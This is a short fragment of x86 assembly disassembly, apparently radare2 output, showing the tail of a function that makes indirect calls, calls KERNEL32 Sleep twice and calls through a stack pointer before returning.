add esp, 4
mov eax, dword [ebp - 0x14]
push eax
call dword [fcn.100074a8]
push 0x30
call fcn.10023af7
add esp, 4
mov ecx, dword [ebp - 0x14]
push ecx
call dword [fcn.100074ac]
push 0x30
call fcn.10023af7
add esp, 4
mov edx, dword [ebp - 0x18]
push edx
call dword [fcn.100074ac]
push 1
push 0
push 3
call fcn.1001bc86
add esp, 0xc
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 1
call fcn.1001bc86
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret